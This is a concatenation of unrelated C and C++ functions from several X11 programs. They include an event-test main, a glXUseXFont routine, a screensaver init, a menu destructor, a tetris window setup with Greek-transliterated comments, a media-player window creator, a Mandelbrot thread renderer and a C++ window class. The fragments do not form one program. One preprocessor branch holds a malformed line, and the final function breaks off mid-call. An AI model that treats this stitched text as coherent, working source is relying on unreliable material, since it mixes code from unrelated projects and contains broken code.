int main () { Display *display; Window win; XEvent report; XEvent msg; int x=10,y=10,h=100,w=100; display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "couldn't connect to X server :0\n"); return 0; } win = XCreateWindow(display, RootWindow(display, 0), x, y, w, h, 0, CopyFromParent, CopyFromParent, CopyFromParent, 0, NULL); XSetWindowBackground(display,win,WhitePixel(display,0)); XSelectInput(display, win, (ExposureMask | StructureNotifyMask | GravityNotify)); XMapWindow(display, win); XFlush(display); sleep(1); XResizeWindow(display, win, w+5, h+5); XMoveWindow(display, win, x, y); while (1) { XNextEvent(display, &report); switch (report.type) { case MapNotify: printf("map notify\n"); break; case Expose: printf("exposed\n"); break; case GravityNotify: printf("gravity notify event 0x%x window 0x%x x %d y %d\n", report.xgravity.event, report.xgravity.window, report.xgravity.x, report.xgravity.y); break; case ConfigureNotify: { int se = report.xconfigure.send_event; int event = report.xconfigure.event; int window = report.xconfigure.window; int x = report.xconfigure.x; int y = report.xconfigure.y; int w = report.xconfigure.width; int h = report.xconfigure.height; int bw = report.xconfigure.border_width; int above = report.xconfigure.above; int or = report.xconfigure.override_redirect; printf("confignotify send %d ev 0x%x win 0x%x %i,%i-%ix%i bw %i\n" " above 0x%x ovrd %d\n", se,event,window,x,y,w,h,bw,above,or); break; } } } return 1; }
void DRI_glXUseXFont( Font font, int first, int count, int listbase ) { GLXContext CC; Display *dpy; Window win; Pixmap pixmap; GC gc; XGCValues values; unsigned long valuemask; XFontStruct *fs; GLint swapbytes, lsbfirst, rowlength; GLint skiprows, skippixels, alignment; unsigned int max_width, max_height, max_bm_width, max_bm_height; GLubyte *bm; int i; CC = __glXGetCurrentContext(); dpy = CC->currentDpy; win = CC->currentDrawable; fs = XQueryFont (dpy, font); if (!fs) { __glXSetError(CC, GL_INVALID_VALUE); return; } /* Allocate a bitmap that can fit all characters. */ max_width = fs->max_bounds.rbearing - fs->min_bounds.lbearing; max_height = fs->max_bounds.ascent + fs->max_bounds.descent; max_bm_width = (max_width + 7) / 8; max_bm_height = max_height; bm = (GLubyte *) Xmalloc((max_bm_width * max_bm_height) * sizeof (GLubyte)); if (!bm) { XFreeFontInfo( NULL, fs, 1 ); __glXSetError(CC, GL_OUT_OF_MEMORY); return; } #if 0 /* get the page info */ pages = fs->max_char_or_byte2 - fs->min_char_or_byte2 + 1; firstchar = (fs->min_byte1 << 8) + fs->min_char_or_byte2; lastchar = (fs->max_byte1 << 8) + fs->max_char_or_byte2; rows = fs->max_byte1 - fs->min_byte1 + 1; unsigned int first_char, last_char, pages, rows; #endif /* Save the current packing mode for bitmaps. */ glGetIntegerv (GL_UNPACK_SWAP_BYTES, &swapbytes); glGetIntegerv (GL_UNPACK_LSB_FIRST, &lsbfirst); glGetIntegerv (GL_UNPACK_ROW_LENGTH, &rowlength); glGetIntegerv (GL_UNPACK_SKIP_ROWS, &skiprows); glGetIntegerv (GL_UNPACK_SKIP_PIXELS, &skippixels); glGetIntegerv (GL_UNPACK_ALIGNMENT, &alignment); /* Enforce a standard packing mode which is compatible with fill_bitmap() from above. This is actually the default mode, except for the (non)alignment. */ glPixelStorei (GL_UNPACK_SWAP_BYTES, GL_FALSE); glPixelStorei (GL_UNPACK_LSB_FIRST, GL_FALSE); glPixelStorei (GL_UNPACK_ROW_LENGTH, 0); glPixelStorei (GL_UNPACK_SKIP_ROWS, 0); glPixelStorei (GL_UNPACK_SKIP_PIXELS, 0); glPixelStorei (GL_UNPACK_ALIGNMENT, 1); pixmap = XCreatePixmap (dpy, win, 10, 10, 1); values.foreground = BlackPixel (dpy, DefaultScreen (dpy)); values.background = WhitePixel (dpy, DefaultScreen (dpy)); values.font = fs->fid; valuemask = GCForeground | GCBackground | GCFont; gc = XCreateGC (dpy, pixmap, valuemask, &values); XFreePixmap (dpy, pixmap); #ifdef DEBUG if (debug_xfonts) dump_font_struct (fs); #endif for (i = 0; i < count; i++) { unsigned int width, height, bm_width, bm_height; GLfloat x0, y0, dx, dy; XCharStruct *ch; int x, y; unsigned int c = first + i; int list = listbase + i; int valid; /* check on index validity and get the bounds */ ch = isvalid(fs, c); if (!ch) { ch = &fs->max_bounds; valid = 0; } else { valid = 1; } #ifdef DEBUG if (debug_xfonts) { char s[7]; sprintf (s, isprint (c) ? "%c> " : "\\%03o> ", c); dump_char_struct (ch, s); } #endif /* glBitmap()' parameters: straight from the glXUseXFont(3) manpage. */ width = ch->rbearing - ch->lbearing; height = ch->ascent + ch->descent; x0 = - ch->lbearing; y0 = ch->descent - 1; dx = ch->width; dy = 0; /* X11's starting point. */ x = - ch->lbearing; y = ch->ascent; /* Round the width to a multiple of eight. We will use this also for the pixmap for capturing the X11 font. This is slightly inefficient, but it makes the OpenGL part real easy. */ bm_width = (width + 7) / 8; bm_height = height; glNewList (list, GL_COMPILE); if (valid && (bm_width > 0) && (bm_height > 0)) { memset (bm, '\0', bm_width * bm_height); fill_bitmap (dpy, win, gc, bm_width, bm_height, x, y, c, bm); glBitmap (width, height, x0, y0, dx, dy, bm); #ifdef DEBUG if (debug_xfonts) { printf ("width/height = %u/%u\n", width, height); printf ("bm_width/bm_height = %u/%u\n", bm_width, bm_height); dump_bitmap (bm_width, bm_height, bm); } #endif } else { glBitmap (0, 0, 0.0, 0.0, dx, dy, NULL); } glEndList (); } Xfree(bm); XFreeFontInfo( NULL, fs, 1 ); XFreeGC (dpy, gc); /* Restore saved packing modes. */ glPixelStorei(GL_UNPACK_SWAP_BYTES, swapbytes); glPixelStorei(GL_UNPACK_LSB_FIRST, lsbfirst); glPixelStorei(GL_UNPACK_ROW_LENGTH, rowlength); glPixelStorei(GL_UNPACK_SKIP_ROWS, skiprows); glPixelStorei(GL_UNPACK_SKIP_PIXELS, skippixels); glPixelStorei(GL_UNPACK_ALIGNMENT, alignment); }
static void * truchet_init (Display *dpy, Window window) { struct state *st = (struct state *) calloc (1, sizeof(*st)); st->dpy = dpy; st->window = window; #if 1 st->maxlinewidth = maxLineWidth; st->minlinewidth = minLineWidth; st->minwidth = minWidth; st->minheight = minHeight; st->max_width = max_Width; st->max_height = max_Height; st->delay = delay; st->eraseCount = eraseCount; st->square = square; st->curves = curves; st->angles = angles; st->erase = erase; st->scroll = scroll; st->overlap = scroll_overlap; st->anim_delay = anim_delay; st->anim_step_size = anim_step_size; #else st->maxlinewidth = maxLineWidth", "Integer"); st->minlinewidth = get_integer_resource (st->dpy, "minLineWidth", "Integer"); st->minwidth = get_integer_resource (st->dpy, "minWidth", "Integer"); st->minheight = get_integer_resource (st->dpy, "minHeight", "Integer"); st->max_width = get_integer_resource (st->dpy, "max-Width", "Integer"); st->max_height = get_integer_resource (st->dpy, "max-Height", "Integer" ); st->delay = get_integer_resource (st->dpy, "delay", "Integer"); st->eraseCount = get_integer_resource (st->dpy, "eraseCount", "Integer"); st->square = get_boolean_resource (st->dpy, "square", "Boolean"); st->curves = get_boolean_resource (st->dpy, "curves", "Boolean"); st->angles = get_boolean_resource (st->dpy, "angles", "Boolean"); st->erase = get_boolean_resource (st->dpy, "erase", "Boolean"); st->scroll = get_boolean_resource (st->dpy, "scroll", "Boolean"); st->overlap = get_integer_resource (st->dpy, "scroll-overlap", "Integer"); st->anim_delay = get_integer_resource (st->dpy, "anim-delay", "Integer"); st->anim_step_size = get_integer_resource (st->dpy, "anim-step-size", "Integer"); #endif //if (get_boolean_resource(st->dpy, "randomize", "Randomize")) if (randomize) { int i = (random() % 12); switch(i) { case 0: break; case 1: st->curves = False; break; case 2: st->curves = False; st->square = True; st->erase = False; break; case 3: st->square = True; st->erase = False; st->eraseCount = 5; break; case 4: st->scroll = True; break; case 5: st->scroll = True; st->erase = False; st->anim_step_size = 9; break; case 6: st->angles = False; st->minwidth = st->max_width = 36; break; case 7: st->curves = False; st->minwidth = st->max_width = 12; break; case 8: st->curves = False; st->erase = False; st->minwidth = st->max_width = 36; break; case 9: st->erase = False; st->minwidth = 256; st->max_width = 512; st->minlinewidth = 96; break; case 10: st->angles = False; st->minwidth = 64; st->max_width = 128; st->maxlinewidth = 4; break; case 11: st->curves = False; st->minwidth = 64; st->max_width = 128; st->maxlinewidth = 4; break; default: abort(); break; } } XGetWindowAttributes (st->dpy, st->window, &st->xgwa); st->gcv.foreground = BlackPixel(st->dpy,0); st->gcv.background = WhitePixel(st->dpy,0); st->gcv.line_width = 25; st->cmap = st->xgwa.colormap; //st->gcv.foreground = get_pixel_resource(st->dpy, st->xgwa.colormap, // "background", "Background"); st->gcv.foreground = load_color(st->dpy, st->xgwa.colormap, background); st->bgc = XCreateGC (st->dpy, st->window, GCForeground, &st->gcv); st->agc = XCreateGC(st->dpy, st->window, GCForeground, &st->gcv); XFillRectangle(st->dpy, st->window, st->bgc, 0, 0, st->xgwa.width, st->xgwa.height); st->width=60; st->height=60; st->linewidth=1; st->count=0; XSetForeground(st->dpy, st->agc, st->gcv.background); st->frame = XCreatePixmap(st->dpy,st->window, st->xgwa.width+st->overlap, st->xgwa.height+st->overlap, st->xgwa.depth); XFillRectangle(st->dpy, st->frame, st->bgc, 0, 0, st->xgwa.width + st->overlap, st->xgwa.height + st->overlap); return st; }
XMenuDestroy(Display *display, register XMenu *menu) /* Menu object to destroy. */ { register XMPane *p_ptr; /* Pointer to the current pane. */ register XMPane *p_next; /* Pointer to the next pane. */ register XMSelect *s_ptr; /* Pointer to the current selection. */ register XMSelect *s_next; /* Pointer to the next selection. */ /* * Destroy the selection and pane X windows and free * their corresponding XMWindows. */ for ( p_ptr = menu->p_list->next; p_ptr != menu->p_list; p_ptr = p_next ) { for ( s_ptr = p_ptr->s_list->next; s_ptr != p_ptr->s_list; s_ptr = s_next ) { s_next = s_ptr->next; free(s_ptr); } if (p_ptr->window) { XDestroySubwindows(display, p_ptr->window); XDestroyWindow(display, p_ptr->window); } p_next = p_ptr->next; free(p_ptr); } /* * Destroy the association table. */ XDestroyAssocTable(menu->assoc_tab); /* * Free the mouse cursor. */ XFreeCursor(display, menu->mouse_cursor); /* * Free the fonts. */ XFreeFont(display, menu->p_fnt_info); XFreeFont(display, menu->s_fnt_info); /* * Free the pixmaps. */ /* XFreePixmap(display, menu->p_bdr_pixmap); XFreePixmap(display, menu->s_bdr_pixmap); XFreePixmap(display, menu->p_frg_pixmap); XFreePixmap(display, menu->s_frg_pixmap); XFreePixmap(display, menu->bkgnd_pixmap); */ XFreePixmap(display, menu->inact_pixmap); /* * Free the color cells. */ if ((menu->p_bdr_color != BlackPixel(display, DefaultScreen(display))) && (menu->p_bdr_color != WhitePixel(display, DefaultScreen(display)))) XFreeColors( display, DefaultColormap(display, DefaultScreen(display)), &menu->p_bdr_color, 1, 0); if ((menu->s_bdr_color != BlackPixel(display, DefaultScreen(display))) && (menu->s_bdr_color != WhitePixel(display, DefaultScreen(display)))) XFreeColors( display, DefaultColormap(display, DefaultScreen(display)), &menu->s_bdr_color, 1, 0); if ((menu->p_frg_color != BlackPixel(display, DefaultScreen(display))) && (menu->p_frg_color != WhitePixel(display, DefaultScreen(display)))) XFreeColors( display, DefaultColormap(display, DefaultScreen(display)), &menu->p_frg_color, 1, 0); if ((menu->s_frg_color != BlackPixel(display, DefaultScreen(display))) && (menu->s_frg_color != WhitePixel(display, DefaultScreen(display)))) XFreeColors( display, DefaultColormap(display, DefaultScreen(display)), &menu->s_frg_color, 1, 0); if ((menu->bkgnd_color != BlackPixel(display, DefaultScreen(display))) && (menu->bkgnd_color != WhitePixel(display, DefaultScreen(display)))) XFreeColors( display, DefaultColormap(display, DefaultScreen(display)), &menu->bkgnd_color, 1, 0); /* * Free the XMenu. */ free(menu); }
int main (int argc, char **argv) { /* auti i metavliti tha periexei deikti se struct display * pou epistrefetai otan dimiourgoume mia syndesi * * genika mporoume na dimiourgisoume syndesi me apomakrismeno * systima pou tha trexei ton server alla stin periptwsi mas * syndeomaste sto idio systima pou trexoume ton server */ /* auti i metavliti tha xrisimopoiithei gia na apothikeusi * tin deufault othoni apo ton X server, sinithos o X server * exei mia othoni opote gi'autin endiaferomaste */ int screenNum; /* paxos tis grammis perigrammatos se pixel */ int borderWidth=3; // char *windowName = " ### AKIS-TETRIS ###"; /* kathe othoni exei ena rootWindow pou kaliptei oli tin othoni*/ Window rootWindow,win,menuBar; /* win --> kyriws parathyro tou programmatos mou */ /* menuBar ---> to parathyro pou tha periexei ta pliktra start * kai exit */ XSizeHints *win_size_hints; /* hints oson afora to size ston WM */ XGCValues values; int menuBarHeight; int menuBarVertPos; /* to ypsos tou menuBar */ /* tha tou dwsw 8% tou ypsous tou kentrikou * parathyrou */ Window exitButton, startButton; int buttonSize; int padding; // xwros metaxy twn koumpiwn sto menu int winWidth = 600; int winHeight = 500; /* plirofories gia font */ XFontStruct *fontInfo; padding = borderWidth * 4; int x=0, y=0; if((display=XOpenDisplay(0))==NULL){ fprintf(stderr,"error opening display\n"); exit(-1); } /* vazi ton arithmo tis deufault screen tou X server */ screenNum = XDefaultScreen(display); /* vriskei to id tou rootWindow */ rootWindow = XDefaultRootWindow(display); myColor.white = WhitePixel(display, screenNum); myColor.black = BlackPixel(display, screenNum); colorTable[aspro]=myColor.white; colorTable[mavro]=myColor.black; win = XCreateSimpleWindow(display, rootWindow, x,y, winWidth, winHeight, borderWidth, myColor.black,myColor.white); gameWindow = XCreateSimpleWindow(display, win, borderWidth,borderWidth, 250, 450, borderWidth, myColor.black,myColor.white); assert(fontInfo = XLoadQueryFont(display, "9x15")); menuBarHeight = 30; /* ypsos menu 8% tou parathyrou */ /* na thimithw na to peiraxw */ menuBarVertPos = winHeight -menuBarHeight - 2 * borderWidth; menuBar = XCreateSimpleWindow(display, win, 0, menuBarVertPos, winWidth - 2 * borderWidth, menuBarHeight, borderWidth, myColor.black, myColor.white); buttonSize = menuBarHeight - 2 * borderWidth; exitButton = XCreateSimpleWindow(display, menuBar, winWidth - (padding + 2*buttonSize), borderWidth, 2*buttonSize, buttonSize, 1, myColor.black, myColor.white); startButton = XCreateSimpleWindow(display, menuBar, padding, borderWidth, 2*buttonSize, buttonSize, 1, myColor.black, myColor.white); win_size_hints=XAllocSizeHints(); assert(win_size_hints); win_size_hints->flags=PSize|PMinSize|PMaxSize; win_size_hints->min_width=winWidth; win_size_hints->min_height=winHeight; win_size_hints->base_width=winWidth; win_size_hints->base_height=winHeight; win_size_hints->max_height=winHeight; win_size_hints->max_width=winWidth; XSetWMNormalHints(display,win,win_size_hints); /* setting up the GC */ values.foreground= myColor.black; values.background = myColor.white; gc = XCreateGC(display, gameWindow, (GCForeground | GCBackground), &values); buttonGc = XCreateGC(display, menuBar, (GCForeground | GCBackground), &values); assert(gc); assert(buttonGc); XSetLineAttributes(display, gc, 3, LineSolid, CapButt, JoinRound); XSetLineAttributes(display, buttonGc, 3, LineSolid, CapButt, JoinRound); XMapWindow(display,win); XMapSubwindows(display, win); XMapWindow(display, menuBar); XMapSubwindows(display, menuBar); XFlush(display); /* do some random stuff */ XSync(display, False); /* poly simantiko!!!!! */ //XDrawLine(display, gameWindow, gc, 20, 20, 40, 100); //XDrawRectangle(display, gameWindow, gc, 0, 0, 25, 25); // XDrawRectangle(display, gameWindow, gc, 25, 0, 25, 25); XFlush(display); sleep(3); XDrawImageString(display, exitButton, buttonGc, 7, buttonSize/2.0+(fontInfo->ascent/2.0) , "E X I T",strlen("E X I T")); XDrawImageString(display, startButton, buttonGc, 7, buttonSize/2.0+(fontInfo->ascent/2.0) , "START",strlen("START")); XFlush(display); initMainGameTable(); printAllBlocks(); drawMainGameTable(); XFlush(display); sleep(10); XFlushGC(display, gc); XFlushGC(display, buttonGc); XFreeGC(display, buttonGc); XFreeGC(display, gc); XCloseDisplay(display); XFree(win_size_hints); return 0; }
void wsCreateWindow( wsTWindow * win,int X,int Y,int wX,int hY,int bW,int cV,unsigned char D,char * label ) { int depth; win->Property=D; if ( D & wsShowFrame ) win->Decorations=1; wsHGC=DefaultGC( wsDisplay,wsScreen ); // The window position and size. switch ( X ) { case -1: win->X=( wsMaxX / 2 ) - ( wX / 2 ) + wsOrgX; break; case -2: win->X=wsMaxX - wX - 1 + wsOrgX; break; default: win->X=X; break; } switch ( Y ) { case -1: win->Y=( wsMaxY / 2 ) - ( hY / 2 ) + wsOrgY; break; case -2: win->Y=wsMaxY - hY - 1 + wsOrgY; break; default: win->Y=Y; break; } win->Width=wX; win->Height=hY; win->OldX=win->X; win->OldY=win->Y; win->OldWidth=win->Width; win->OldHeight=win->Height; // Border size for window. win->BorderWidth=bW; // Hide Mouse Cursor win->wsCursor=None; win->wsMouseEventType=cV; win->wsCursorData[0]=0; win->wsCursorPixmap=XCreateBitmapFromData( wsDisplay,wsRootWin,win->wsCursorData,1,1 ); if ( !(cV & wsShowMouseCursor) ) win->wsCursor=XCreatePixmapCursor( wsDisplay,win->wsCursorPixmap,win->wsCursorPixmap,&win->wsColor,&win->wsColor,0,0 ); depth = vo_find_depth_from_visuals( wsDisplay,wsScreen,NULL ); if ( depth < 15 ) { mp_msg( MSGT_GPLAYER,MSGL_FATAL,MSGTR_WS_ColorDepthTooLow ); exit( 0 ); } XMatchVisualInfo( wsDisplay,wsScreen,depth,TrueColor,&win->VisualInfo ); // --- win->AtomLeaderClient=XInternAtom( wsDisplay,"WM_CLIENT_LEADER",False ); win->AtomDeleteWindow=XInternAtom( wsDisplay,"WM_DELETE_WINDOW",False ); win->AtomTakeFocus=XInternAtom( wsDisplay,"WM_TAKE_FOCUS",False ); win->AtomRolle=XInternAtom( wsDisplay,"WM_WINDOW_ROLE",False ); win->AtomWMSizeHint=XInternAtom( wsDisplay,"WM_SIZE_HINT",False ); win->AtomWMNormalHint=XInternAtom( wsDisplay,"WM_NORMAL_HINT",False ); win->AtomProtocols=XInternAtom( wsDisplay,"WM_PROTOCOLS",False ); win->AtomsProtocols[0]=win->AtomDeleteWindow; win->AtomsProtocols[1]=win->AtomTakeFocus; win->AtomsProtocols[2]=win->AtomRolle; // --- win->WindowAttrib.background_pixel=BlackPixel( wsDisplay,wsScreen ); win->WindowAttrib.border_pixel=WhitePixel( wsDisplay,wsScreen ); win->WindowAttrib.colormap=XCreateColormap( wsDisplay,wsRootWin,win->VisualInfo.visual,AllocNone ); win->WindowAttrib.event_mask=StructureNotifyMask | FocusChangeMask | ExposureMask | PropertyChangeMask | EnterWindowMask | LeaveWindowMask | VisibilityChangeMask | KeyPressMask | KeyReleaseMask; if ( ( cV & wsHandleMouseButton ) ) win->WindowAttrib.event_mask|=ButtonPressMask | ButtonReleaseMask; if ( ( cV & wsHandleMouseMove ) ) win->WindowAttrib.event_mask|=PointerMotionMask; win->WindowAttrib.cursor=win->wsCursor; win->WindowAttrib.override_redirect=False; if ( D & wsOverredirect ) win->WindowAttrib.override_redirect=True; win->WindowMask=CWBackPixel | CWBorderPixel | CWColormap | CWEventMask | CWCursor | CWOverrideRedirect; win->WindowID=XCreateWindow( wsDisplay, (win->Parent != 0?win->Parent:wsRootWin), win->X,win->Y,win->Width,win->Height,win->BorderWidth, win->VisualInfo.depth, InputOutput, win->VisualInfo.visual, win->WindowMask,&win->WindowAttrib ); wsClassHint.res_name="MPlayer"; wsClassHint.res_class="MPlayer"; XSetClassHint( wsDisplay,win->WindowID,&wsClassHint ); win->SizeHint.flags=PPosition | PSize | PResizeInc | PWinGravity;// | PBaseSize; win->SizeHint.x=win->X; win->SizeHint.y=win->Y; win->SizeHint.width=win->Width; win->SizeHint.height=win->Height; if ( D & wsMinSize ) { win->SizeHint.flags|=PMinSize; win->SizeHint.min_width=win->Width; win->SizeHint.min_height=win->Height; } if ( D & wsMaxSize ) { win->SizeHint.flags|=PMaxSize; win->SizeHint.max_width=win->Width; win->SizeHint.max_height=win->Height; } win->SizeHint.height_inc=1; win->SizeHint.width_inc=1; win->SizeHint.base_width=win->Width; win->SizeHint.base_height=win->Height; win->SizeHint.win_gravity=StaticGravity; XSetWMNormalHints( wsDisplay,win->WindowID,&win->SizeHint ); win->WMHints.flags=InputHint | StateHint; win->WMHints.input=True; win->WMHints.initial_state=NormalState; XSetWMHints( wsDisplay,win->WindowID,&win->WMHints ); wsWindowDecoration( win,win->Decorations ); XStoreName( wsDisplay,win->WindowID,label ); XmbSetWMProperties( wsDisplay,win->WindowID,label,label,NULL,0,NULL,NULL,NULL ); XSetWMProtocols( wsDisplay,win->WindowID,win->AtomsProtocols,3 ); XChangeProperty( wsDisplay,win->WindowID, win->AtomLeaderClient, XA_WINDOW,32,PropModeReplace, (unsigned char *)&LeaderWindow,1 ); wsTextProperty.value=label; wsTextProperty.encoding=XA_STRING; wsTextProperty.format=8; wsTextProperty.nitems=strlen( label ); XSetWMIconName( wsDisplay,win->WindowID,&wsTextProperty ); win->wGC=XCreateGC( wsDisplay,win->WindowID, GCForeground | GCBackground, &win->wGCV ); win->Visible=0; win->Focused=0; win->Mapped=0; win->Rolled=0; if ( D & wsShowWindow ) XMapWindow( wsDisplay,win->WindowID ); wsCreateImage( win,win->Width,win->Height ); // --- End of creating -------------------------------------------------------------------------- { int i; for ( i=0;i < wsWLCount;i++ ) if ( wsWindowList[i] == NULL ) break; if ( i == wsWLCount ) { mp_msg( MSGT_GPLAYER,MSGL_FATAL,MSGTR_WS_TooManyOpenWindows ); exit( 0 ); } wsWindowList[i]=win; } XFlush( wsDisplay ); XSync( wsDisplay,False ); win->ReDraw=NULL; win->ReSize=NULL; win->Idle=NULL; win->MouseHandler=NULL; win->KeyHandler=NULL; mp_dbg( MSGT_GPLAYER,MSGL_DBG2,"[ws] window is created. ( %s ).\n",label ); }
stk_widget *stk_canvas_new(stk_widget *parent_win, int x, int y, uint w, uint h) { stk_widget *new_pl = (stk_widget*) malloc(sizeof(stk_widget)); stk_canvas *pl = (stk_canvas*) malloc(sizeof(stk_canvas)); int screen, depth; XGCValues gplal; long fg, bg; XSetWindowAttributes setwinattr; memset(new_pl, 0, sizeof(stk_widget)); new_pl->dsp = display; new_pl->fontname = STK_FONT_SIZE_6x9; screen = DefaultScreen(new_pl->dsp); depth = DefaultDepth(new_pl->dsp, screen); fg = BlackPixel(new_pl->dsp, screen); bg = WhitePixel(new_pl->dsp, screen); gplal.foreground = fg; gplal.background = bg; gplal.line_width = 1; gplal.line_style = LineSolid; new_pl->gc2 = XCreateGC(new_pl->dsp, parent_win->win, GCForeground | GCBackground|GCLineWidth|GCLineStyle, &gplal); gplal.foreground = bg; gplal.background = fg; new_pl->gc = XCreateGC(new_pl->dsp, parent_win->win, GCForeground | GCBackground|GCLineWidth|GCLineStyle, &gplal); setwinattr.backing_store = Always; if(new_pl->dsp) { new_pl->win = XCreateSimpleWindow(new_pl->dsp, parent_win->win, x, y, w, h, 1, fg, bg); new_pl->mask = ExposureMask | EnterWindowMask | LeaveWindowMask | PointerMotionMask | ButtonPressMask | ButtonReleaseMask; XChangeWindowAttributes(new_pl->dsp, new_pl->win, CWBackingStore, &setwinattr); XSelectInput(new_pl->dsp, new_pl->win, new_pl->mask); XMapWindow(new_pl->dsp, new_pl->win); pl->pmap = XCreatePixmap(new_pl->dsp, new_pl->win, w, h, depth); XSetForeground(new_pl->dsp, new_pl->gc, WhitePixelOfScreen(DefaultScreenOfDisplay(new_pl->dsp))); XFillRectangle(new_pl->dsp, pl->pmap, new_pl->gc, 0, 0, w, h); stk_canvas_set_string_font(new_pl, new_pl->fontname); new_pl->x = x; new_pl->y = y; new_pl->w = w; new_pl->h = h; new_pl->handler = &stk_canvas_handle; new_pl->ext_struct = (void*)pl; stk_widget_insert((void*)new_pl); return new_pl; } else return NULL; }
int main (void) { int screen; // which screen /* open connection with the server */ display = XOpenDisplay(NULL); if(display == NULL) { fprintf(stderr, "cannot open display\n"); return 0; } screen = DefaultScreen(display); /* set window position */ int x = 0; int y = 0; /* border width in pixels */ int border_width = 0; /* create window */ window = XCreateSimpleWindow(display, RootWindow(display, screen), x, y, width, height, border_width, BlackPixel(display, screen), WhitePixel(display, screen)); /* create graph */ XGCValues values; long valuemask = 0; gc = XCreateGC(display, window, valuemask, &values); //XSetBackground (display, gc, WhitePixel (display, screen)); XSetForeground (display, gc, BlackPixel (display, screen)); XSetBackground(display, gc, 0X0000FF00); XSetLineAttributes (display, gc, 1, LineSolid, CapRound, JoinRound); /* map(show) the window */ XMapWindow(display, window); XSync(display, 0); pthread_t threads[width]; pthread_attr_t attr; /* 1. Initialize mutex variable objects. */ pthread_mutex_init(&mutex, NULL); pthread_mutex_init(&ptr_mutex, NULL); /* For portability, explicitly create threads in a joinable state. */ struct timespec t1, t2; clock_gettime(CLOCK_REALTIME, &t1); int i, j; long t; pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); for (t=0; t<40; t++) pthread_create(&threads[t], &attr, draw_mandelbrot, (void *) t); /* Wait for all threads to complete. */ for (i=0; i<40; i++) pthread_join(threads[i], NULL); /* Clean up and exit. */ pthread_attr_destroy(&attr); pthread_mutex_destroy(&mutex); pthread_mutex_destroy(&ptr_mutex); /* end of record */ clock_gettime(CLOCK_REALTIME, &t2); double timedif = 1000000*(t2.tv_sec-t1.tv_sec)+(t2.tv_nsec-t1.tv_nsec)/1000; printf("It took %.5lf seconds to finish dynamic pthread calculation.\n", timedif/1000000); printf("Going into sleep...\n"); XFlush(display); sleep(3); return 0; }
int create_lndgcs(GC *lnd_gc, GC *lndx_gc, GC *background_gc, GC *text_gc) { XGCValues gcvalues; XColor xcolor; Colormap cmap; int i, j; cmap = DefaultColormap(display, screen_no); xcolor.flags = DoRed | DoGreen | DoBlue; gcvalues.line_width = 1; gcvalues.background = WhitePixel(display, screen_no); gcvalues.foreground = BlackPixel(display, screen_no); if (fixed_font) gcvalues.font = fixed_font->fid; *text_gc = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth | GCFont, &gcvalues); gcvalues.foreground = WhitePixel(display, screen_no); gcvalues.background = BlackPixel(display, screen_no); /* printf("WhitePixel=%lu, BlackPixel=%lu\n", (unsigned long) WhitePixel(display, screen_no), (unsigned long) BlackPixel(display, screen_no)); */ back_pixel[15] = WhitePixel(display, screen_no); background_gc[15] = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth, &gcvalues); gcvalues.foreground = BlackPixel(display, screen_no); back_pixel[0] = BlackPixel(display, screen_no); background_gc[0] = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth, &gcvalues); xcolor.red = 32767; xcolor.green = 32767; xcolor.blue = 32767; if (!XAllocColor(display, cmap, &xcolor)) return (-1); gcvalues.foreground = xcolor.pixel; back_pixel[1] = xcolor.pixel; background_gc[1] = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth, &gcvalues); for (i = 1; i < 7; i++) { if ((i & 1)) xcolor.red = 65535; else xcolor.red = 0; if ((i & 2)) xcolor.green = 65535; else xcolor.green = 0; if ((i & 4)) xcolor.blue = 65535; else xcolor.blue = 0; if (!XAllocColor(display, cmap, &xcolor)) return (-1); /* printf("Got color for %d: r=%d, g=%d, b=%d, pixel=%lu\n", i, xcolor.red, xcolor.green, xcolor.blue, xcolor.pixel); */ gcvalues.foreground = xcolor.pixel; lnd_pixel[i - 1] = xcolor.pixel; lnd_gc[i - 1] = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth, &gcvalues); xcolor.red = xcolor.red * 3 / 4; xcolor.green = xcolor.green * 3 / 4; xcolor.blue = xcolor.blue * 3 / 4; if (!XAllocColor(display, cmap, &xcolor)) return (-1); /* printf("Got color for x-%d: r=%d, g=%d, b=%d, pixel=%lu\n", i, xcolor.red, xcolor.green, xcolor.blue, xcolor.pixel); */ gcvalues.foreground = xcolor.pixel; lndx_pixel[i - 1] = xcolor.pixel; lndx_gc[i - 1] = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth, &gcvalues); } /* getchar(); for (i = 0; i < 6; i++) { for (j = 0; j < window_height / 2; j++) XDrawLine(display, window, lnd_gc[i], 0, j, window_width - 1, j); for (; j < window_height; j++) XDrawLine(display, window, lndx_gc[i], 0, j, window_width - 1, j); printf("lndx_gc[%d]\n", i); getchar(); } for (j = 0; j < window_height; j++) XDrawLine(display, window, background_gc[15], 0, j, window_width - 1, j); getchar(); */ return (0); }
void GWindow::createWindow( GWindow* parentWindow /* = 0 */, // parent window int borderWidth /* = DEFAULT_BORDER_WIDTH */, unsigned int wndClass /* = InputOutput */, // InputOnly, CopyFromParent Visual* visual /* = CopyFromParent */, unsigned long attributesValueMask /* = 0 */, // which attr. are defined XSetWindowAttributes* attributes /* = 0 */ // attributes structure ) { // Include a window in the head of the window list link(*(m_WindowList.next)); m_WindowList.link(*this); m_NumWindows++; m_NumCreatedWindows++; // Open a display, if necessary if (m_Display == 0) initX(); // Create window and map it //+++ // printf("Creating window: width=%d, height=%d\n", // m_IWinRect.width(), m_IWinRect.height()); //+++ if (m_IWinRect.left() != 0 || m_IWinRect.top() != 0) { int x = m_IWinRect.left(); int y = m_IWinRect.top(); int w = m_IWinRect.width(); int h = m_IWinRect.height(); m_WindowPosition.x += x; m_WindowPosition.y += y; m_IWinRect = I2Rectangle(0, 0, w, h); } if (m_bgColorName != 0) { XColor bg; XParseColor( m_Display, DefaultColormap(m_Display, m_Screen), m_bgColorName, &bg ); XAllocColor( m_Display, DefaultColormap(m_Display, m_Screen), &bg ); m_bgPixel = bg.pixel; } else { m_bgPixel = WhitePixel(m_Display, m_Screen); } if (m_fgColorName != 0) { XColor fg; XParseColor( m_Display, DefaultColormap(m_Display, m_Screen), m_fgColorName, &fg ); XAllocColor( m_Display, DefaultColormap(m_Display, m_Screen), &fg ); m_fgPixel = fg.pixel; } else { m_fgPixel = BlackPixel(m_Display, m_Screen); } m_BorderWidth = borderWidth; /*... m_Window = XCreateSimpleWindow( m_Display, DefaultRootWindow(m_Display), m_WindowPosition.x, m_WindowPosition.y, 